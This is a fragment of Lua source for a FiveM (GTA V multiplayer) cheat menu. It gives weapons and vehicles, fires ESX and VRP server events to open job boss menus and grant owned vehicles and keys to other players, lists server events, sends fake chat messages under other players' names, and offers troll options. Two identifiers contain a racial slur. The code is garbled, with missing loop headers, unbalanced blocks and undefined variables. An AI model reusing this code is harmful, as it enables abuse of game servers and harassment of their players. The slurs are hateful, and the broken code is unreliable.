if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalSmgWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "smgs" then
if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalSniperRifles") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "sniperrifles" then
if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalHeavyWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "heavyweapons" then
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(), t_Weapons[i][1],
GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalVehicleMenu") then
if SwagUI.ComboBox("Vehicle Actions",
ComboOptions.VehicleActions.Words, ComboOptions.VehicleActions.Selected,
function(selectedIndex)
if ComboOptions.VehicleActions.Selected ~= selectedIndex
then
ComboOptions.VehicleActions.Selected = selectedIndex
end
end) then
ComboOptions.VehicleActions.Values[ComboOptions.VehicleActions.Selected]
(Swag.Player.Vehicle)
end
--//Boost
SwagUI.Display()
elseif SwagUI.IsMenuOpened("Vdrive") then
if Swag.Player.IsInVehicle then
if SwagUI.CheckBox("Easy Handling",
Swag.Toggle.EasyHandling) then
Swag.Toggle.EasyHandling = not
Swag.Toggle.EasyHandling
end
if SwagUI.CheckBox("No Collision",
Swag.Toggle.VehicleCollision, function(enabled)
Swag.Toggle.VehicleCollision = enabled
end) then end
else
if SwagUI.Button("No vehicle found") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("VFun") then
if Swag.Player.IsInVehicle then
if SwagUI.CheckBox("Scary BullDozer", Swag.Toggle.DBull,
function(enabled)
Swag.Toggle.DBull = enabled
if Swag.Toggle.DBull then
local veh = SpawnLocalVehicle("BULLDOZER",
true, true)
SetVehicleCanBreak(veh, false)
SetVehicleCanBeVisiblyDamaged(veh, false)
SetVehicleEnginePowerMultiplier(veh, 2500.0)
SetVehicleEngineTorqueMultiplier(veh, 2500.0)
SetVehicleEngineOn(veh, 1, 1, 1)
SetVehicleGravityAmount(veh, 50.0)
SetVehicleColours(veh, 27, 27)
elseif IsPedInModel(PlayerPedId(),
GetHashKey("BULLDOZER")) then
DeleteVehicle(GetVehiclePedIsIn(PlayerPedId(),
0))
end
end) then end
-- end
--end) then
--shootfuckingstupidniggers()
--end
else
if SwagUI.Button("No vehicle found") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("VehicleSpeed") then
if Swag.Player.IsInVehicle then
if SwagUI.CheckBox("~r~Speedboost ~s~SHIFT CTRL", VehSpeed,
function(enabled)
VehSpeed = enabled
end)
then
end
if SwagUI.Slider("Torque Boost",
SliderOptions.TorqueBoost.Words, SliderOptions.TorqueBoost.Selected,
function(selectedIndex)
if SliderOptions.TorqueBoost.Selected ~=
selectedIndex then
SliderOptions.TorqueBoost.Selected =
selectedIndex
end
end) then end
else
if SwagUI.Button("No vehicle found") then
end
end
--//Boost End
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalVehicleSpawner") then
if SwagUI.CheckBox("Spawn Inside", Swag.Toggle.SpawnInVehicle,
function(enabled)
Swag.Toggle.SpawnInVehicle = enabled
end) then end
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('compacts')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localsedans') then
for i = 1, #VehicleClass.sedans do
local modelName = VehicleClass.sedans[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('sedans')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localsuvs') then
for i = 1, #VehicleClass.suvs do
local modelName = VehicleClass.suvs[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('suvs')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localcoupes') then
for i = 1, #VehicleClass.coupes do
local modelName = VehicleClass.coupes[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('coupes')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localmuscle') then
for i = 1, #VehicleClass.muscle do
local modelName = VehicleClass.muscle[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('muscle')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localsportsclassics') then
for i = 1, #VehicleClass.sportsclassics do
local modelName = VehicleClass.sportsclassics[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('sportsclassics')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localsports') then
for i = 1, #VehicleClass.sports do
local modelName = VehicleClass.sports[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('sports')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localsuper') then
for i = 1, #VehicleClass.super do
local modelName = VehicleClass.super[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('super')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localmotorcycles') then
for i = 1, #VehicleClass.motorcycles do
local modelName = VehicleClass.motorcycles[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('motorcycles')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localoffroad') then
for i = 1, #VehicleClass.offroad do
local modelName = VehicleClass.offroad[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('offroad')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localindustrial') then
for i = 1, #VehicleClass.industrial do
local modelName = VehicleClass.industrial[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('industrial')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localutility') then
for i = 1, #VehicleClass.utility do
local modelName = VehicleClass.utility[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('utility')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localvans') then
for i = 1, #VehicleClass.vans do
local modelName = VehicleClass.vans[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('vans')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localcycles') then
for i = 1, #VehicleClass.cycles do
local modelName = VehicleClass.cycles[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('cycles')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localboats') then
for i = 1, #VehicleClass.boats do
local modelName = VehicleClass.boats[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('boats')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localhelicopters') then
for i = 1, #VehicleClass.helicopters do
local modelName = VehicleClass.helicopters[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('helicopters')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localplanes') then
for i = 1, #VehicleClass.planes do
local modelName = VehicleClass.planes[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('planes')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localservice') then
for i = 1, #VehicleClass.service do
local modelName = VehicleClass.service[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('service')
SwagUI.Display()
elseif SwagUI.IsMenuOpened('localcommercial') then
for i = 1, #VehicleClass.commercial do
local modelName = VehicleClass.commercial[i][1]
local vehname =
GetLabelText(GetDisplayNameFromVehicleModel(modelName))
if SwagUI.Button(vehname) then
SpawnLocalVehicle(modelName,
Swag.Toggle.ReplaceVehicle, Swag.Toggle.SpawnInVehicle)
end
end
SwagUI.DrawVehiclePreview('commercial')
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LSC") then
if Swag.Player.IsInVehicle then
if SwagUI.MenuButton("Bodywork", "lsc_bodywork") then
LSC.UpdateMods()
end
if SwagUI.ComboBox("Vehicle Hygiene",
ComboOptions.DirtLevel.Words, ComboOptions.DirtLevel.Selected(Swag.Player.Vehicle),
function(selectedIndex)
if ComboOptions.DirtLevel.Selected(Swag.Player.Vehicle) ~=
ComboOptions.DirtLevel.Values[selectedIndex] then
SetVehicleDirtLevel(Swag.Player.Vehicle,
ComboOptions.DirtLevel.Values[selectedIndex])
end
end) then end
if SwagUI.MenuButton("Performance Tuning",
"lsc_performance") then
LSC.UpdateMods()
end
if SwagUI.CheckBox("Seatbelt", Swag.Toggle.VehicleNoFall)
then
Swag.Toggle.VehicleNoFall = not
Swag.Toggle.VehicleNoFall
end
else
if SwagUI.Button("No vehicle found") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("lsc_bodywork") then
local installed = currentMods
if Swag.Player.IsInVehicle then
for i, mod in pairs(LSC.vehicleMods) do
SetVehicleModKit(Swag.Player.Vehicle, 0)
local modCount =
GetNumVehicleMods(Swag.Player.Vehicle, mod.id)
if modCount > 0 then
if mod.meta == "modFrontWheels" or mod.meta ==
"modBackWheels" then
if SwagUI.ComboBox(mod.name,
LSC.WheelType, installed['wheels'], function(selectedIndex, selectedItem)
selectedIndex = selectedIndex - 1
installed['wheels'] = selectedIndex
SetVehicleWheelType(Swag.Player.Vehicle, selectedIndex)
SwagUI.SetSubTitle(mod.meta,
selectedItem .. " Wheels")
end, true) then
if modCount > 0 then
setMenuVisible(mod.meta,
true)
end
end
else
if SwagUI.MenuButton(mod.name, mod.meta)
then end
end
end
if installed['modXenon'] then
if SwagUI.ComboBox("Xenon Color",
ComboOptions.XenonColor.Words, ComboOptions.XenonColor.Selected,
function(selectedIndex)
if ComboOptions.XenonColor.Selected
~= selectedIndex then
ComboOptions.XenonColor.Selected = selectedIndex
end
end) then
SetVehicleXenonLightsColour(Swag.Player.Vehicle,
ComboOptions.XenonColor.Values[ComboOptions.XenonColor.Selected])
end
end
end
end
else
if SwagUI.Button("No vehicle found") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("lsc_performance") then
local installed = currentMods
if Swag.Player.IsInVehicle then
SetVehicleModKit(Swag.Player.Vehicle, 0)
for i, type in pairs(LSC.perfMods) do
local modCount =
GetNumVehicleMods(Swag.Player.Vehicle, type.id)
if modCount > 0 then
if SwagUI.Slider(type.name,
VehicleUpgradeWords[modCount], installed[type.meta], function(selectedIndex)
selectedIndex = selectedIndex - 2
installed[type.meta] = selectedIndex
SetVehicleMod(Swag.Player.Vehicle,
type.id, selectedIndex, false)
end, true) then end
end
end
if SwagUI.CheckBox("Turbo", installed['modTurbo'],
function(enabled)
installed['modTurbo'] = enabled
ToggleVehicleMod(Swag.Player.Vehicle, 18, enabled)
end) then end
if SwagUI.ComboBox("Engine Power",
ComboOptions.EnginePower.Words, ComboOptions.EnginePower.Selected,
function(selectedIndex)
if ComboOptions.EnginePower.Selected ~= selectedIndex
then
ComboOptions.EnginePower.Selected =
selectedIndex
ModifyVehicleTopSpeed(Swag.Player.Vehicle,
ComboOptions.EnginePower.Values[ComboOptions.EnginePower.Selected])
end
end) then
end
else
if SwagUI.Button("No vehicle found") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ServerMenu") then
SwagUI.SetSubTitle("ServerMenu", "Triggers - " ..
GetCurrentServerEndpoint())
if SwagUI.MenuButton("Resource List", "ServerResources") then end
if SwagUI.MenuButton("~g~ESX ~s~Boss Options", "ESXBoss") then
end
if SwagUI.MenuButton("~g~ESX ~s~Money Options",
"ServerMoneyOptions") then end
if SwagUI.MenuButton("~g~ESX ~s~Misc Options", "ESXMisc") then
end
if SwagUI.MenuButton("~g~ESX ~s~Drug Options", "ESXDrugs") then
end
if SwagUI.MenuButton("~r~VRP ~s~Options", "VRPOptions") then end
if SwagUI.MenuButton("Misc Options", "MiscServerOptions") then
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ServerResources") then
for i=0, #serverOptionsResources do
if SwagUI.Button(serverOptionsResources[i]) then
end
end
SwagUI.Display()
SwagUI.Display()
elseif SwagUI.IsMenuOpened('ResourceSEvents') then
SwagUI.SetSubTitle('ResourceSEvents', SelectedResource .. " >
Data > Server Events")
if validResourceServerEvents[SelectedResource] ~= nil then
for name, payload in
pairs(validResourceServerEvents[SelectedResource]) do
if SwagUI.Button(name) then
local tbl = msgpack.unpack(payload)
local buffer = name .. "("
for k, v in ipairs(tbl) do
buffer = (buffer .. tostring(v) .. (k ==
#tbl and ")" or ", "))
end
if #tbl == 0 then
buffer = (buffer .. ")")
end
print("^2" .. buffer)
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ESXBoss") then
if SwagUI.Button("Mechanic") then
TriggerEvent("esx_society:openBossMenu", "mecano",
function(data, menu) setMenuVisible(currentMenu, false) end)
TriggerEvent("esx_society:openBossMenu","police",function(data, menu)
setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Ambulance") then
TriggerEvent("esx_society:openBossMenu","ambulance",function(data, menu)
setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Taxi") then
TriggerEvent("esx_society:openBossMenu","taxi",function(data, menu)
setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Real Estate") then
TriggerEvent("esx_society:openBossMenu","realestateagent",function(data,
menu) setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Gang") then
TriggerEvent("esx_society:openBossMenu","gang",function(data, menu)
setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Car Dealer") then
TriggerEvent("esx_society:openBossMenu","cardealer",function(data, menu)
setMenuVisible(currentMenu, false) end)
elseif SwagUI.Button("Banker") then
TriggerEvent("esx_society:openBossMenu","banker",function(data, menu)
setMenuVisible(currentMenu, false) end)
end
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
ESX.TriggerServerCallback('SwagUI:getFuckedNigger', function(players)
end)
end
end
elseif SwagUI.Button("InteractSound Earrape") then
interactSound()
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("OnlinePlayersMenu") then
onlinePlayerSelected = {}
if SwagUI.MenuButton(("~r~ID:%-4d ~s~
%s"):format(GetPlayerServerId(id), GetPlayerName(id)), 'PlayerOptionsMenu') then
SelectedPlayer = id
end
end
SwagUI.Display()
SwagUI.Display()
elseif SwagUI.IsMenuOpened("objmenu") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("OnlineTrollMenu") then
if SwagUI.Button("Fake Chat Message") then
local messaggio = KeyboardInput("Enter message to send", "", 100)
local cazzo = GetPlayerName(SelectedPlayer)
if messaggio then
TriggerServerEvent("_chat:messageEntered", cazzo, { 0, 0x99,
255 }, messaggio)
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ExplodeTroll") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("PedTrollMenu") then
SwagUI.Display()
--
RemoveAllPedWeapons(GetPlayerPedScriptIndex(SelectedPlayer), true)
end
SwagUI.Display()
SwagUI.MenuButton("Melee", "OnlineMeleeWeapons")
SwagUI.MenuButton("Handguns", "OnlineSidearmWeapons")
SwagUI.MenuButton("Submachine Guns")
SwagUI.MenuButton("Shotguns", "OnlineShotgunWeapons")
SwagUI.MenuButton("Assault Rifles", "OnlineAutorifleWeapons")
SwagUI.MenuButton("Light Machine Guns")
SwagUI.MenuButton("Sniper Rifles")
SwagUI.MenuButton("Heavy Weapons")
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
SwagUI.Display()
elseif SwagUI.IsMenuOpened("TeleportP") then
SwagUI.SetSubTitle("TeleportP", "Teleporting [" ..
GetPlayerName(SelectedPlayer) .. "]")
SwagUI.Display()
elseif SwagUI.IsMenuOpened("OnlineVehicleMenuPlayer") then
SwagUI.SetSubTitle("OnlineVehicleMenuPlayer", "Vehicle [" ..
GetPlayerName(SelectedPlayer) .. "]")
if SwagUI.Button("Spawn Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Model Name",
"", 12)
if ModelName and IsModelValid(ModelName) and
IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
Citizen.Wait(0)
end
RequestControlOnce(ped)
SetPedIntoVehicle(ped, veh, -1)
TaskWarpPedIntoVehicle(ped, veh, -1)
SwagUI.SendNotification({text =
NotifyFormat("Successfully spawned ~b~%s ~s~on ~b~%s",
string.lower(GetDisplayNameFromVehicleModel(ModelName)),
GetPlayerName(SelectedPlayer)), type = "info"})
else
SwagUI.SendNotification({text = "Model is not valid",
type = "error"})
end
end
if SwagUI.Button("Spawn Owned Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Spawn Name",
"", 20)
local newPlate = KeyboardInput("Enter Vehicle License
Plate", "", 8)
TriggerServerEvent('esx_vehicleshop:setVehicleOwnedPlayerId',
GetPlayerServerId(SelectedPlayer), vehicleProps)
TriggerServerEvent('esx_givecarkeys:setVehicleOwnedPlayerId',
GetPlayerServerId(SelectedPlayer), vehicleProps)
TriggerServerEvent('garage:addKeys', newPlate)
SetPedIntoVehicle(GetPlayerPed(SelectedPlayer), veh,
-1)
else
SwagUI.SendNotification({ text = "Vehicle model " ..
ModelName .. " does not exist!", type = "error"})
end
end
RequestControlOnce(playerVeh)
--SetVehicleUndriveable(veh, true)
SetVehicleEngineHealth(playerVeh, 0)
end
SwagUI.Display()
end
RemoveVehicleMod(Swag.Player.Vehicle, mods.id)
LSC.UpdateMods()
end
else
if SwagUI.Button(LSC.GetHornName(j), "Not
Installed") then
SetVehicleMod(Swag.Player.Vehicle,
mods.id, j)
LSC.UpdateMods()
end
end
end
SwagUI.Display()
end
elseif mods.meta == "modFrontWheels" or mods.meta ==
"modBackWheels" then
if SwagUI.IsMenuOpened(mods.meta) then
local modCount =
GetNumVehicleMods(Swag.Player.Vehicle, mods.id)
for j = 0, modCount, 1 do
local modName =
GetModTextLabel(Swag.Player.Vehicle, mods.id, j)
if modName then
if j == currentMods[mods.meta] then
if
SwagUI.Button(GetLabelText(modName), "Installed", nil, _menuColor.base) then
RemoveVehicleMod(Swag.Player.Vehicle, mods.id)
LSC.UpdateMods()
end
else
if
SwagUI.Button(GetLabelText(modName), "Not Installed") then
SetVehicleMod(Swag.Player.Vehicle, mods.id, j)
LSC.UpdateMods()
end
end
end
end
SwagUI.Display()
end
else
if SwagUI.IsMenuOpened(mods.meta) then
local modCount =
GetNumVehicleMods(Swag.Player.Vehicle, mods.id)
for j = 0, modCount, 1 do
local modName =
GetModTextLabel(Swag.Player.Vehicle, mods.id, j)
if modName then
if j == currentMods[mods.meta] then
if
SwagUI.Button(GetLabelText(modName), "Installed", nil, _menuColor.base) then
RemoveVehicleMod(Swag.Player.Vehicle, mods.id)
LSC.UpdateMods()
end
else
if
SwagUI.Button(GetLabelText(modName), "Not Installed") then
SetVehicleMod(Swag.Player.Vehicle, mods.id, j)
LSC.UpdateMods()
end
end
end
end
SwagUI.Display()
end
end
end
Wait(0)
end
end
CreateThread(MenuRuntimeThread)